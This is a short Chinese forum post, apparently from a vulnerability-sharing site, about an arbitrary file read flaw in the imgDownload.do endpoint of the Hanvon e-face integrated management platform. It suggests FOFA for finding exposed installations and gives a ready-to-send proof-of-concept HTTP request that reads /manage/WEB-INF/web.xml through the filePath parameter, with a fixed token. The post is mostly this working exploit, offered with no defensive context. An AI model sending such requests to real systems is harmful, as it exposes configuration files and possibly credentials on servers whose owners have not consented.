汉王e脸通综合管理平台imgDownload.do接口存在任意文件读取

admin

汉王e脸通综合管理平台imgDownload.do接口存在任意文件读取



资产确定：FOFA  

游客，如果您要查看本帖隐藏内容请回复

POC


GET /manage/resourceUpload/imgDownload.do?filePath=/manage/WEB-INF/web.xml&recoToken=SGUsqvF7cVS HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive